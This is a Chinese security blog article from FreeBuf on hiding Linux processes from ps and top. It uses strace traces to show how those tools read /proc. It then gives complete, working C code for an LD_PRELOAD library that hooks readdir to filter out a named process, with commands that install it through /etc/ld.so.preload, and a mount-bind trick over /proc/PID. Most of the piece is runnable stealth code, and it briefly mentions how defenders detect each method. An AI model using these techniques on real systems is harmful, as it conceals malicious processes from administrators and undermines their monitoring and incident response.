freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

Linux进程隐藏:中级篇
FreeBuf_312924 2020-09-24 09:59:17 487411

1600848228_5f6b01640d83ba582b270.png!small

前言

上篇介绍了如何在有源码的情况下,通过 argv[] 及 prctl 对进程名及参数进行修改,整篇围绕/proc/pid/目录和 ps、top 命令进行分析,做到了初步隐藏,即修改了 /proc/pid/stat 、/proc/pid/status 、/proc/pid/cmdline 这些文件的信息,使得 ps、top 命令显示了虚假的进程信息;但是还存在一些**缺点**:

1.ps、top 命令还是显示了真实的 pid
2./proc/pid 目录依然存在,/proc/pid/exe 及/proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称

所以,为了解决以上缺陷,本篇将介绍以下几种方式对进程进行隐藏

1. 应用层下 hook 函数调用
2. 挂载覆盖/proc/pid 目录

PS/TOP 命令工作原理

我们可以使用 strace 命令来了解 PS/TOP 命令的工作原理,strace 命令是一个常用的代码调试工具,它可以跟踪到一个进程产生的系统调用, 包括参数,返回值,执行消耗的时间。

实验系统版本为 ubuntu18 内核版本 Linux ubuntu 5.3.0-28-generic

命令 strace ps 部分显示结果

stat("/proc/1", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/1/stat", O_RDONLY) = 6
read(6, "1 (systemd) S 0 1 1 0 -1 4194560"..., 1024) = 328
close(6)                                = 0
openat(AT_FDCWD, "/proc/1/status", O_RDONLY) = 6
read(6, "Name:\tsystemd\nUmask:\t0000\nState:"..., 1024) = 1024
read(6, "00000000,00000000,00000000,00000"..., 1024) = 311
close(6)                                = 0
stat("/proc/2", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/2/stat", O_RDONLY) = 6
read(6, "2 (kthreadd) S 0 0 0 0 -1 212998"..., 2048) = 150
close(6)                                = 0
openat(AT_FDCWD, "/proc/2/status", O_RDONLY) = 6
read(6, "Name:\tkthreadd\nUmask:\t0000\nState"..., 2048) = 978
close(6)                                = 0
stat("/proc/3", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/3/stat", O_RDONLY) = 6
read(6, "3 (rcu_gp) I 2 0 0 0 -1 69238880"..., 2048) = 151
close(6)                                = 0
openat(AT_FDCWD, "/proc/3/status", O_RDONLY) = 6
read(6, "Name:\trcu_gp\nUmask:\t0000\nState:\t"..., 2048) = 969
close(6)                                = 0

命令 strace top 部分显示结果

openat(AT_FDCWD, "/proc/11433/statm", O_RDONLY) = 9
read(9, "4679 473 371 263 0 127 0\n", 2048) = 25
close(9)                                = 0
openat(AT_FDCWD, "/proc/11433/status", O_RDONLY) = 9
read(9, "Name:\tstrace\nUmask:\t0022\nState:\t"..., 2048) = 1362
close(9)                                = 0
stat("/proc/11435", {st_mode=S_IFDIR|0555, st_size=0, ...}) = 0
openat(AT_FDCWD, "/proc/11435/stat", O_RDONLY) = 9
read(9, "11435 (top) R 11433 11433 3407 3"..., 2048) = 322
close(9)                                = 0
openat(AT_FDCWD, "/proc/11435/statm", O_RDONLY) = 9
read(9, "12866 1077 851 25 0 378 0\n", 2048) = 26
close(9)

从上面的结果我们可以看出,ps/top 命令就是在不断的读取/proc/pid 下的文件信息,再显示出来给我看;

一般先调用 stat() 确认文件状态,再调用 openat() 打开文件句柄,然后 read() 读取内容,最后 close() 关闭;不断重复这一系列动作从而获取进程信息;

当然这些都是系统调用,并不是 ps 源码中直接调用的,ps 源码直接调用的函数其实是opendir以及readdir,readdir 内部再进行以上这些系统调用。

top 命令的原理与 ps 类似,这里不多介绍,下面进入正题

一、应用层下 hook 函数调用实现隐藏

我们这里所要 hook 的对象当然就是readdir函数了

这里有两个问题:

1.readdir 函数在哪?

2. 如何 hook?

[readdir][https://pubs.opengroup.org/onlinepubs/9699919799/functions/readdir.html] 在头文件 dirent.h 中声明

头文件:#include <sys/types.h>   
#include <dirent.h>
定义:struct dirent * readdir(DIR * dir);
函数说明:readdir() 返回参数 dir 目录流的下个目录进入点。结构 dirent 定义如下:
struct dirent
{
ino_t d_ino; //d_ino 此目录进入点的 inode
ff_t d_off; //d_off 目录文件开头至此目录进入点的位移
signed short int d_reclen; //d_reclen _name 的长度, 不包含 NULL 字符
unsigned char d_type; //d_type d_name 所指的文件类型 d_name 文件名
har d_name[256];
};
返回值:成功则返回下个目录进入点. 有错误发生或读取到目录文件尾则返回 NULL.

如何 hook?

我们这里使用的是 ld_preload 技术,关于此技术可以看我另一篇文章,这里不多介绍

接下来我们正式编写 hook 函数,先以伪代码进行介绍

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/* 这里声明一个函数指针,用来存储 readdir 函数原始调用 */
static struct dirent* (*original_readdir)(DIR*) = NULL;
/* 这里是我们伪造的 readdir 函数,由于我们的 so 库最早被调用,所以 ps 程序调用 readdir 函数时也就调用了我们的同名函数*/
struct dirent* readdir(DIR *dirp)                                       
{   
/* 使用 dlsym 函数获取 readdir 真正的入口 */
if(original_readdir == NULL)                                  
original_readdir = dlsym(RTLD_NEXT, readdir);                                                                                                                                                     

struct dirent* dir;                                                 

/* 这里循环调用原始 readdir 函数 */
while(1)                                                            
{                                                                   
dir = original_readdir(dirp);
// 判断是否为特定的进程名
process_name = get_process_name(dir);
if(process_name=="123456"){
//是,则继续循环,这样就相当于跳过了特定的进程,不打印信息
continue;
}   

break;                                                          
}                                                                   
return dir;                                                         
}

整个流程非常简单,这里引用一段完整的代码:[github][https://github.com/gianlucaborello/libprocesshider]

修改 process_to_filter 变量为要隐藏的进程即可

#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);

FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
\
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
if(original_##readdir == NULL) {                                    \
original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
if(original_##readdir == NULL)                                  \
{                                                               \
fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
}                                                               \
}                                                                   \
\
struct dirent* dir;                                                 \
\
while(1)                                                            \
{                                                                   \
dir = original_##readdir(dirp);                                 \
if(dir) {                                                       \
char dir_name[256];                                         \
char process_name[256];                                     \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
strcmp(dir_name, "/proc") == 0 &&                       \
get_process_name(dir->d_name, process_name) &&          \
strcmp(process_name, process_to_filter) == 0) {         \
continue;                                               \
}                                                           \
}                                                               \
break;                                                          \
}                                                                   \
return dir;                                                         \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

以上代码非常巧妙的运用了宏定义函数以及 # 号的用法,使得少了很多代码量,同时定义了 64 位版本的 readdir64 以及 readdir 函数。

编译成动态链接库测试

$ gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
$ mv libprocesshider.so /usr/local/lib/
$ echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload

这样一来,ps top 命令就找不到进程的任何踪迹了!

优缺点

优点:相较于通过 argv[] 及 prctl 对进程名及参数进行修改,这种方法彻底隐藏了 ps、top 中进程的信息,看不到 pid

缺点:proc 目录下还是会存在我们进程的 pid 目录

二、挂载覆盖/proc/pid 目录

利用 mount—bind 将另外一个目录挂载覆盖至/proc/目录下指定进程 ID 的目录,我们知道 ps、top 等工具会读取/proc 目录下获取进程信息,如果将进程 ID 的目录信息覆盖,则原来的进程信息将从 ps 的输出结果中隐匿。

例如隐藏进程 id 为 42 的进程信息:

mount -o bind /empty/dir /proc/42

优缺点:

缺点比较明显

cat /proc/pid/mountinfo 或者 cat /proc/mounts 即可知道是否有利用 mount—bind 将其他目录或文件挂载至/proc 下的进程目录

三、总结

hook readdir 函数的方法的确可以完全隐藏掉 ps/top 下的进程信息,隐蔽性还是不够,如果结合 argv[] 及 prctl 一起使用,也还有明显的缺点:

1、存在 proc/pid 目录,防御方利用别的方法遍历一下 pid,与 ps 进行对比即可知道哪些是隐藏进程
2、/proc/pid/exe 以及 /proc/pid/cwd 文件依然暴露了可执行文件的真实路径及名称

Linux 进程隐藏-高级隐藏篇将会进一步介绍更加高级的进程隐藏技术——在内核中对进程进行彻底隐藏。

# 黑客 # 系统安全 # 木马 # linux安全
本文为 FreeBuf_312924 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Linux攻防
攻防渗透宝典
吃灰收藏夹
企业应急响应指南
geek
话说内核安全
FreeBuf_312924 LV.1
coder/weber/loser
  • 3 文章数
  • 18 关注者
Linux进程隐藏:初级篇
2020-09-23
Linux hook技术之-Ring3下动态链接库.so函数劫持
2020-08-21
文章目录